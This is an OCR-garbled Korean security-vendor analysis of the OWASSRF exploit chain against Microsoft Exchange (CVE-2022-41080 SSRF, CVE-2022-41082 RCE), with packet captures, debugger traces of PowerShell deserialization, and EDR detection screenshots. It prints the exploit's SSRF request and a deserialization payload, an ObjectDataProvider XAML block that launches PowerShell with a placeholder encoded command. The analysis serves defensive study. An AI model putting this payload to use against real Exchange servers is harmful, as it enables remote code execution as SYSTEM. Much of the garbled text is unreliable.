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Name OWASSRF POC Code
Type Python Code
Behavior Exploit
SHA-256 | c243034b1f786954fd65b79380427a148293d354ab89e56345a51a6d641bc780
Description | https://github.com/balki97/OWASSRF-CVE-2022-41082-POC
Name CVE-2022-41080
Type Server-Side Request Forgery
Behavior Exploit
CVSS 8.8
Description | Maui Ransomware
Name CVE-2022-41082
Type Remote Code Execution
Behavior Exploit
CVSS 8.8
Description | Maui Ransomware
1.3 mf5HetE
Name Exchange Server
Type Windows Server 2019
Version Version 1809 (OS Build 17763.107)
Type Exchange server 2019
Version Version 15.2 (Build 858.5)
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2.2.2 OWASSRF F2H &4

TS 0[8o| ?let U AL 2= olfd AH0| S 7tset ALSALID, PWE &4 RLO{OFSH.

a1l HITIPS1 1isin

[Exper't Infu {{hat.n"Sequence} POST fmaflastemailbo:ﬂﬂuutluok com/powershell HTTP/1.1\r\n]

Request Method: POST

Request URI: fowafsastermallboxBdBoutlook.comfpowershell

Request Version: HTTP/1.1
Host: 192.168.59.133\r\n
User-Agent: Mozilla/5.9 (Windows NT 108.8; Wingd; x64) AppleWebKit/537.36 (KHTML, like Geckeo) Chrome/185.8.5195,5¢
Accept-Encoding: gzip, deflate'rin
Accept: text/html,application/xhtml+xml,application/xml;q=2.9,image/avif,inagewebp,image/apng,™/ ™;q=0.8,applicat
Connectlon: keep-alive\rin

nt-Type: i +yml e charset=UTE-84r\n

X-OWA-ExplicitlogonUsér: owa/mastermailboxgoutlock.coalryn
Ttruncated It nokie: XeRACKEndl ok leebe =5e21=SARTI70e? -1 785727547 599109951 - 161 3=i5Al nn2ed TnfkrSel wtnens fSnr rHidl

[ 5] OWASSRF Wireshark Packet

WireShark2| THZlS 2t2I5tH “/owa/admin@mail.box/powershell’2

HTTPS 2382 EU1 U= A= =feld += ot

S HTTP Header| X-OWA-ExplicitLogonUser7t ZX{otCt.

MS Exchange Server?| Client Access Service(Front-End)MIA= HTTPS QES &1
HTTP Proxy= Backend-Service(OWA)M| 2%35t7| ?/a URLZt HTTP HeaderZ &HQISHTH.

UriBuilder wriBuilder = new UriBuilder(base.ClientRequest.Url.OriginalString);
if (this.IsExplicitSignOn && IUrlUtilities.IsOwaDownloadRequest(base.ClientRequest.Url})
{
uriBuilder.Path = UrlHelper.RemoveExplicitLogonFromUrlabsolutePath{HttplUtility.UrlDecode
{base.ClientRequest.Url.AbsolutePath), HttpUtility.UrlDecode(this.ExplicitSignOniaddress));

[2& 6] HttpProxy ZE

Microsoft. Exchange.FrontEndHttpProxy!OwaEcpProxyRequestHandler.GetClientUrIForProxy
2= LHOIA RemoveExplicitLogonFromUrlAbsolutePathE AaiStrt
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public static string RemoveExplicitlogonFromUrlAbsolutePath(string absolutePath, string -
OFX
explicitlLogonAddress) 2.3.1 RCE .’I‘_l_f='||0|E|_|‘7
{
ArgumentValidator.ThrowIfNull("absolutePath", absolutePath);
ArgumentValidator.ThrowIfNull("explicitlogonAddress”, explicitLogonAddress); RCE(Remote Code Execution _Iis_l l:Ilj-I% %_g_ EJ_EH()“A-I
return absolutePath.Replace("/" + explicitlLogonAddress, string.Empty); — o ~ L
-1 = == —
} TR} ot Yolo| FYS M 4 YU HOHHOICE
o - - RCE IQFH0ll Chat CHEQI 0= SQL 1%, 2fxi=8} B2, 90| I= M3 S0| Ut
@ absolutePath "fowa/mastermailbox@outlook.com/powershell” string ‘é_"Z!Xpl' RCE #H O—Pg% O|5<%8|'E 7|7|9| XﬂO‘I'?',_-I I=é+_|‘75|8|.7-| |—|' 9,“8_:'._55 giléff %Ql
@ " i " i = == = - = =
explicitLogonAddress ‘owa/mastermailbox@outlook.com string QfO|XMO| HRE paliat 4~ QOO 2 MESHINX|7F HQSH FAFHO|CH

[ZL%! 7] RemoveExplicitLogonFromUrlAbsolutePath 2=

0| QIXIZIC 2 HOR= 22 SAAE st URLY “X-OWA-ExplicitLogonUser” SlIH0|LCt.

0|t absolutePath.Replace &4=0|A “X-OWA-ExplicitLogonUser”Q| Z+= &tQlstal —
URLOl S5t 2t0] U™ X|2tstCt. M2tA “owa/mastermailbox@outlook.com™S X|2tstA| ELh 73 Zan aC

b @ urlAnchorhailbos nill Microsoft.Exchang (O3 9] S=|ZESH RCE(HY ZE M3 FAN) =ASt
P clientUriForProsy {hittpes:f192.168.59.132:44 3/ powershell) Systern UriBuilder
b@ resul my et [2.3.2]™H0| M= Remote Powershell MHE|A L ZZXt2] ZAFst XML 23} HI0|HE
[23 8] #Z URL ARIHstol= WHUM ZES *'°”AI9' = A= AHE Yeot= A
4 =5 Hliot= A0 CHet LIES Mgttt
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o

HTTP Proxy= Powershell0f] MH|AS E’SQE#.

10 11



202304 MS Exchange Server $|2/& 24 202304 MS Exchange Server /2™ A #1SOMANSA

2.3.2 RCE o™ M 2.3.21 FUH A HO|IZE[1 - 1] M

[2.2] 20 M= SSRF #2fES 0I8all S} “/powershell"0f B 7Hst HE 22T

BZXH= 015 Exchange ServerOiiAl 910/0] TES MR5H| Qo S FOIHS 0IGBIC, U 1)
<TN RefId="2"»
«TxMicrosoft.PowerShell.Commands.Internal.Format. FormatInfoData</T>
%06 Na-v~ RefIde"14-> {T>System.0Object</T>
obi N RefId="1¢ [1-1] </TN>

<TH RefId="2">» .
£T:Microsoft. PowersShell.Commands.Internal. Format. FormatInfoData</T> <lostrine>Obiect</Tostring>
<Props>
[2]

<TrSystem.0bject</T>
</ TH> <5 N="Hame~>
<ToString»Object</ToStrings if (this.IsNextElement("0Obj"))
<Props>
Rty [2] <
<5 ”T Hame™ > InternalDeserializer._trace.WritelLine("PSObject Element");
s ¥pe return this.ReadPSObject();
<0bj N="TargetTypeForDeserialization™: [3} ;
<TH RefId="2">»
<T>System. Exception</T> [Z12 11] {Obj) tIO|E =l
<TaSystem,0bject</T»
< TH
<MS> Memberset xml HI0[E{0f (Obj) EiZ17} AL ReadPSObject &5 &, R0 U= EH12t HIO[HE =flstTt,
<BA N-"SerjalizationData™>»
BAEAAADS [ £ f S

AQALAAARALAAAEADAAAEI TeXNAZWAUVIHS pAdH I T X I pY i pemF @ akl9us69 s Z6VY AWALLAREYXRhOVUAXRSVHINE
QxBe 2N1BW) seUShBWUBAAE IBETAAAARUZ L 2dGVE L LdpbaRvd 3MUTWFy a3Vl Lhhbx S ZWF K ZXT EAAALD gMASRS
BYUHI1c2vudGFRakournIhblv3b3 Ir LOBWZX ] 2 aWOuPTQUMC WL JASIENLEHR L cmUS9bav 1 dH IhbCwgUHVIbG 1
JSIVEVGIrIWASMIFLiZ JHANT ZhZDHZNGUZNGS =

</BA> while (this._ reader.NodeType == XmlMNodeType.Element)
£fM5> {

</0bj> ¢ | if (this.IsMextElement("TN") || this.IsNextElement("TNRef"))
</Props> {
5 this.ReadTypeNames(psobject);

<1 [CDATA[ <ObjectDataProvider MethodMames="Start”™ IsInitialLoadEnabled="False” xmlns="http:/ [1 -2] overrideTypelnfo = false;

schemas.microsoft. com/winfx/2006/xaml/presentation” =mlns:sd="clr-namespace:System. D;;E;D$ ics; -

assembly=System™ xmlns:x="http:// schemas.microsoft.com/winfx/2006/xanl"> <ObjectDataProvider. else it {th15.IsﬁextElement{'Praps'JJ

ObjectInstancer <sd:Process» <sd:Process.StartInfor <sd:ProcessStartInfo Argumentss"-e {

$$POWERSHELL_ENCODE_PAYLOAD _HERES$S" StandardErrorEncoding="{x:Mull}" StandardOutputEncoding=" this.ReadProperties(psobject);

{¥:Null}™ UserName="" Password= {x:Null}™ Domain="" LoadUserProtlle="False i

FileName="powershell™ /> </sd:Process.StartInfor </sd:Process» </ObjectDataProvider. elce 1T (LM1s.l1sNextElement{ Pom 1)

ObjectInstancer </ObjectDataProvider:]]> {
£/53 this.ReadMemberSet Epjobjt:t, InstanceMembers :I",

< fOb] > ¥

(33 10] 2Es XML 34 mo|2E Y&
TR} 27 HO|Z S S 4518 Exchange Server LM XIZi51E HO[ES Sixisis| s
xml H|0|E{E SiAStL). O] 2HE0IAf RCE FAR(CVE-2022-41802)0] LAt
HorH 224 412 918 (12 10/2 B2 HO|ZES 7] 4202 Ll NaE ool

[Z12! 12] ReadPSObject &=

(TN) Bi2= SEZ2t Types 2Tt [S4 HOIZE 1-1]0IA=

Microsoft.Powershell. Commands.Internal.Format.FormatinfoDataE Type NamelL £ AtE

0|= (Props) E{12| HIO|E{E 2015t | @[l ReadProperties gf+E SE5HL
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2.3.2.2 ok 27 H0|2E [2] BA 2.3.2.3 F2U4H 324 Ho|2E [3] 2M

<0bj N="TargetTypeForDeserialization™> Fa]
<Props» <TN RefId="2">
<5 N="Name" > [2] <T>System.Exception</T»
Type <T>System.Object</T>
<f5> </TN>
<0bj N="TargetTypeForDeserialization"> [3] <M5> Memberset
<TN RefId="2"> <BA N="SerializationData"»
if (this.ReadStartElementAndHandleEmpty("Props")) AAEAAAD/ /1]
< AQAAAAAAARAE AQAAABITeXNOZWOUVWS pdH1TZX] pYixpemF@aWdusSGd s ZGVy AwAALAREYXRhCVVUaXREVH1WZ:
while (this. reader.NodeType == XmlNodeType.Element) QxBc3N1bWlselShbWUBAAEIBEIAAAAU3 ] ZdGVEL1dpbmRvd3MUTWFy a3VwL 1hhblixS ZWFkZXIEAAAABEMAAA
{ BYUHJ1c2VudGF@aWeuRnIhbW\V3b3JrLCBWZX] zaWOuPTQuMCAwL jJASTENIbHR1 cmU9bmV1dHIhbCwgUHVibG1
string name = thic BegdNamentiribute(). J52VEVGIrZWA9MzFiZ jJMANTZhZDM2NGUZNQs =
object serializedValue = this.ReadOneObject(); </BA>
<fM5>

PSProperty member = new PSProperty(name, serializedValue);

i dso.adaptedMembers.Add(member) ; </0bj>

if (this.IsNextElement{"TN") || this.IsNextElement("TNRef"))

}
_ {
[Z2& 13] {Props) HI0|H =2l this.ReadTypeNames(psobject);
overrideTypeInfo = false;
_ . . - _ = ¥
ReadProperties g4 LHE0IA {Objy EfZ7t QM ReadOneObject &t+E S &,
= XIsyaiCt G0|E Q| X3} 0|5 22 14] (TN HIOJE} =0l

SE
==+ A=,

dso.adaptedMember

Ol= RCE F{2Hd 20 ReadOneObject &=~ LHOIA (TN) EH2E =9I,

HIO[HE {02t HEIH3t
s.
Ol

HZ|H3t Type Name2 System.Exception@ 2 X| ™St
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e#lse if (this,IsNextElement("M5™))

<Type>
- {
fr'IEME35}fStEM.EK{EPt]EIFIC.-"'HEJME@ this.ReadMemberSet({psobject.InstanceMembers);
<Members> ¥
<CodeProperty IsHidden="true":> ) I ——
<Name>SerializationData</Name> 18 16] <MS) HOIE SRt =
<GetCodeReference>
<TypeName>Microsoft.Exchange.Data.SerializationTypeConverter</TypeName>
<MethodName>GetSerializationData</MethodName >
< /GetCodeReference> Data T N Val
</CodeProperty> ata lype ame alue
</Members: .
/ Int32 UnityType 0x04
<TypeConverter>
<TypeName>Microsoft.Exchange.Data.SerializationTypeConverter</TypeName> String _Data System.Windows.Markup.XamlReader
</TypeConverter>
{iTFPE’ Strin AssemblvName XPresentationFramework, Version=4.0.0.0,
<lype> g Y Culture=neutral, ublicKeyToken=31bf3856ad364e35
<Name>Deserialized.System.Exception</Name>
<Members> B 2] (MS) B Bl0|E} Base64 CIZ S EIOJE (UnitySerializationHolder &A1)
<Memberset:
<Name>PSStandardMembers</Name>» _ _ o _
T (MS) Ei19| G|O|HE Base64 C|TH3HH System.UnitySerializationHolder 410|C}.
<NoteProperty>»
<MNama>
TargetTypeForDeserialization
</Name>»
<Value» "System. TimeoutException",
System.Exception “System.Ulnt1s”,
System ULlnt32™,
</Value» "System, UInt64",
</NoteProperty> "System.UnitySerializationHolder™,
</Members> “system.Uri®,
“System. UriFormatException”,
</MemberSet> "System.Version",
</Members>
</ Type> [ 17] Microsoft.Exchange.Data.SerializationTypeConverter H2| 22
[2& 15] exchange.partial.types.ps1.xml o _ o o mpeie
SerializationTypeConverter LSt HXI™E35} 7t 220| QIOH [T12] 17]2 2HQl6HH
_ . _ - System.UnitySerializationHolder’} QU]
210 22 0| 2E0IA Systern. Exception2 FOIH0| A3t 2XS Ci2T} 2T} v Y Rai N
M2t GE1Zst 2| “XamlReader” type ObjectS Bhatstcy.
Rt 75

1. System.Exception2 exchange.partial.types.ps1.xml0f| O]2] H2|=|0f
2. System.Exception2 Microsoft.Exchange.Data.SerializationTypeConverter At2

17

Ct.

ro

M2t 2712 2210] HCH System.Exception 0]2|2] Lk Type NameS AFEoHE FAE0| 2
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Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this. typeTable);
if (null != targetTypeForDeserialization)
{
Exception ex = null;
try
i
object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true,
__kultureInfo.InvariantCulture, this._typeTable}ﬂ
PSEtwlog.LoghAnalyticVerbose(PSEventId.Serializer RehydrationSuccess, PSOpcode.Rehydration,
b @ obj {@{SerializationData=System.Byte[]}} object {System.May
@ regylt null object
b @ psobject {@{SerializationData=System.Byte[]}} System.Managemd]
P @ targetTypeForDeserialization {Name = "Exception™ FullName = "System.Exception”) System. Type/*0x02}
W ey null Systermn.Exception,
b @ ghj2 {Mame = “XamlReader" FullName = "System.Windows.Markup.XamIRea... object {System.Run

2.3.2.4. FA4H

OH

2 Hjo|2E [1-2] B4

<S>
<! [CDATA[<ObjectDataProvider MethodName="Start"” IsInitialloadEnabled="False™ xwlns="http:f}1-2]
schemas.microsoft.com/winfx/2886/xaml/presentation” xmlns:sd="clr-namespace:System.Diagnostics;
assembly=System”™ xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml™> <ObjectDataProvider.
ObjectInstance> <sd:Process> <sd:Process.StartInfo> <sd:ProcessStartInfo Arguments="-e
$$POWERSHELL_ENCODE_PAYLOAD HERE$$™ StandardErrorEncoding="{x:Null}" StandardOutputEncoding="
£3%:Null}” UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False"
FileMame="powershell™ /> </sd:Process.StartInfo> </sd:Process> </ObjectDataProvider.
ObjectInstance> </ObjectDataProvider>]]»

<8

</0Obj>

(23 18] Hx{Zz3} 0|= et H0[H

GetTargetTypeForDeserialization &f4=7t A84=l 0% LanguagePrimitives.ConvertTo 45 Al3H5Y
AR|HSHE AIE5HL! 0bj20fl= XamlReader?t €71 A& fQlgt 4 QUCH
if (this.ReadStartElementAndHandleEmpty("Props™))
i
while (this. reader.NodeType == XmlNodeType.Element)
{
' string name = this.ReadNameAttribute();
' object serializedValue = this.ReadOneObject();
: PSProperty member = new PSProperty(name, serializedValue);
i dso.adaptedMembers . Add(member);
P @ serializedValue {Name = “XamIReader” FullName = "System.Windows.Markup.XamIReader"} ohject
4 @ member {System.RuntimeType {get;set;}} System
# |sGettable true bool
H lsinstance true bool
& |sSettable true bool
& MemberType Property Systen
& Name “TargetTypeForDeserialization” string
F TypeNameOfvalue "System.RuntimeType” string
4 ﬁ Value {Name = "XamIReader” FullName = "System.Windows.Markup.XamIReader"} ohject
b iF. i i i i L el i Ao no o) e el Sl

[ 19] dso.adaptedMembers.Add QIXt
OfM AEZSP} B S B8R [H|0|E = XamlReaderO|LCt.

0l dso.adaptedMembers.Add 42| QIXH IO 2 AtEL|H
Name TargetTypeForDeserialization@ 2 X|HStCt,

18

internal Type GetTargetTypeForDeserialization(TypeTable backupTypeTable)
{
PSMemberInfo psstandardMember = this.GetPSStandardMember(backupTypeTable,
"TargetTypeForDeserialization");
if (psstandardMember != null)
{
return psstandardMember.Value as Type;
¥
return null;

[13 20] GetTargetTypeForDeserialization Z=

S0 U= ks AXZ=tor | flol Types AMdt 7HM2E= IH-FOIL,

#1SOMANSA

[32 HO|2E 1-1]0| A X]-HSH Microsoft.PowerShell. Commands.Internal.Format.FormatinfoData2|

PSStandardMember0f| CHaH ZAHSHCY,

19




202304 MS Exchange Server |28 24

20

[

2023.04 MS Exchange Server F| & 24

¢Type»
<Name>Microsoft.PowerShell.Commands. Internal. Format. FormatInfoDatad</Name»
<Members>
<Memberset>
<Hame>P55tandardMembers</Name>
<Members>
<{MoteProperty>»
<Mame>SerializationDepth</Name>
«Valuesl</Values
</NoteProperty>
</Members:
</MemberSet>
< /Memberss

</Type>

%1 SOMANSA

TypeTable typeTable = (backupTypeTable != null) ? backupTypeTable : this.GetTypeTable();
if (typeTable != null)
1
PEMemberset psmemberSet = PSObject.TypeTableGetMemberDelegate<PSMesberSet»(this, typeTable,
“P5StandardMembers™);
if (psmemberSet l= null)
i
psmemberset.Replicatelnstance(this);
psmemberInfo = new PSMesberInfolntegratingCollection<PSMemberInfor(psmemberset,

PeObject .GetMesberCollection{PSMemberViewTypes.All, backupTypeTable))[memberName]:
¥
¥
if (psmemberInfo == null)
{
psmemberInfo = (this.InstanceMembers["PS5tandardMembers™] as PSMesberSet);
¥

(23 21] Types.ps1.xml 29|

PSStandardMembersZ 201511 i

internal Type GetTargetTypeForDeserialization{TypeTable backupTypeTable)
i
pcMesberInfo psstandardMember = this GetPSStandardMember(backupTypeTable,
"TargetTypeForDeserialization™):
if (psstandardMember != null)
{

return psstandardMember.Value as Type;
¥

return null;

[12 23] GetPSStandardMember ZE LJE

-

i_h_l 740] /O™ TargetTypeForDeserialization 0|2& 7}X

WHIS 245K TPH2CE A [22 HOI2 S 3014 SHQI5HeH

—
o

dso.adaptedMembers.Add &2 7 }% o [B 3] 20| =7+t

Name Value

TargetTypeForDeserialization XamlReader

[2 22] Converter 4™

(2 21]1€ EH Microsoft.PowerShell.Commands.Internal.Format.FormatinfoData2|
PSStandardMemberse types.ps1.xmldi| JHQ| E|01°'|1f.

SFX|2t TargetTypeForDeserialization0f| CHS 242 ZXGHK| Q4=Lt.

[213 22]0i A= GetPSStandardMember &t4~E S, TargetTypeForDeserializationS ZAISHCY,

[ Ry

[H 3] dso.adaptedMembers

r2tA TargetTypeForDeserialization2 AA4GHH XamlReaderS Hetotry.

—

(13 22]9] 57+2 =tQI5HH “psstandardMember.Value as Type Q| ZEES St0lat 4~ QICH
Ol= C#0IlM ALBots FHSRE [H 3]9 Value %40] TypeL = gHetE

—
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Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this. typeTable); i} ; i} i
if (null != targetTypeForDeserialization) » (1] wiwp.ete 14208 90342 ME NT AUTHORITVASYSTEN  clwindows\system 32\ inetsntwiwp.exe -8p
i : .l n w X powershell se 2028 3T4MB  NT AUTHORITYWSYSTEN  “CAWindows\System32\\WindowsPowerShellw1.Mpowershell exe” <o
reption e et B conhostens 2120 GSSMB  NT AUTHORITVSYSTEN \PACAWindows\system3Z\conhost.exe (ud
¢ |
L (] wiwp.exe 335  260.53MB  NT AUTHORITVSYSTEM ci\windews\system32iinetsn/\wdwp.exe -ap “MSExchangeRestAppPool” -v "l
object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true,
CultureInfo.InvariantCulture, this._typeTable);
PSEtwlog.LoghnalyticVerbose(PSEventId.Serializer RehydrationSuccess, PSOpcode.Rehydration, (O3 26] RCE 34 &3
PsTask.Serialization, PSKeyword.Serializer, new object[]

1
7@ peotyet (Object] System RCE o™ 2 20| 42513 Powershell0] A3=|0 SYSTEM H3HS 21 ZZXIO| S 48t}
> BaseObject “<ObjectDataProvider MethodMName=\"Start\" IsInitialLoadEnabled=\"False\” xml... object {sf
& \mmediateBaseObject “<ObjectDataProvider MethodName=\"5tart\" IsinitialLoadEnabled=\"False\” xml... object {sf
b S Members {System.Management.Automation.PSMemberinfolntegratingCollection<System.M... System.M
b # Methods {System.Management.Automation.PSMemberinfolntegratingCollection <System.M... System.M
b & Properties {System.Management.Automation.PSMemberinfolntegratingCollection<System.M... System.h
b S TypeNames Count = 0x00000002 System.C
b %3 Static members
P @ Dynamic View Expanding the Dynamic View will get the dynamic members for the object
b @ targetTypeForDeserialization {Mame = "XamlIReader” FullName = "System.Windows.Markup.XamIReader~} System.T;
¥ ey null System.E

[Z12! 24] ConvertTo QIXtZt

TargetTypeForDeserialization0i= XamIReader/t E7ICH.
0|F <S)2| HIO|HE HXIZStoll K|S M-St

internal object ConvertWithoutCulture{object valueToConwvert, Type resultType, bool recursion,
PEObject ariginalValueTolonvert, IFormatProvider formatProvider, TypeTable backupTable)
{
object result;
try
i
object obj = this.parse.Invoke(null, new object[]
{
valueToConvert
i3
LanguagePrimitives,.typeConversion.Writeline(“Parse result: “\“{@}\".", obj);
result = obj;

o
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3. Privacy-i EDR EIX| MH

24

M
=

. L]

£5: 2AE29)

g 33t

HDO0|E: exploit.abuse.powershell =

TRHA0: wiwp.exe

H'|

: =8 HEA: soman
O|HlE ghad 214l : 2023-03-24 16:52:25 HEEHOIE: W

TRHAHZ: C\Windows\System32\inetsniiw3wp.exe

D2 A (% Ope afAl: leb5Slea7407i41bc212cc699e37727ad6e6d52ec67461190a066bd90115e143b 2] @ &

TUE:

O[HIE 9 24| 2023-03-24 16:52:25

v E execution.execute.powershell.16

Child process name

FIE=:9
=t ER- L
%4 a
cp_guid cdffd106-cal8-11led-8e15-000c29cTfdef
e_p_filename w3wp.exe
ns powershell.exe
f_sha256 de96abe69944335375dclac238336066889d9ffcTdT3628ef4felblble0ab32c

powershell.exe

[2& 27] Privacy-i EDR EfX| H&

Privacy-i EDR2 OWASSRFQ| &4 T & Mol (RCE) YHE EXI5I0 Exploit@ 2 EF3t1! UL

2023.04 MS Exchange Server F| & 24

4,

5.
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=2E e

—

i

PN =

2|1E HEotH 4IEZEPC &
- AV(IHEL7 |2HEX]) + EDR(ARI7 [ EA) £FM4S 21N Y2 = RAJBHT,

F71HOE ¥, Bl

I N
=
f
o
>
£Q

1A
ujo
J.l_o
_H._'
Rl
r
Q'D
0

ISP}

— —

=— OoT = =2O —
XA 4 gl BAIOIES HES AtHTIT

a5 LAl 0IF LHE H|Z
=U
Ijol oigt o1zl YR oo
1| 5f{H)
2023.01 OWASSRF | Play Ransomware 3812C AEZ0|3
TMA : Z|0FX 2 a2 AR OWASSRF Exploit analysis
Ijol| oigt
(AHOIE, 202912 OWASSRF | Cuba Ransomware Bleeping Computer
1|5 oH) : Z|okY ZA 2 AR OWASSRF Expioit analysis
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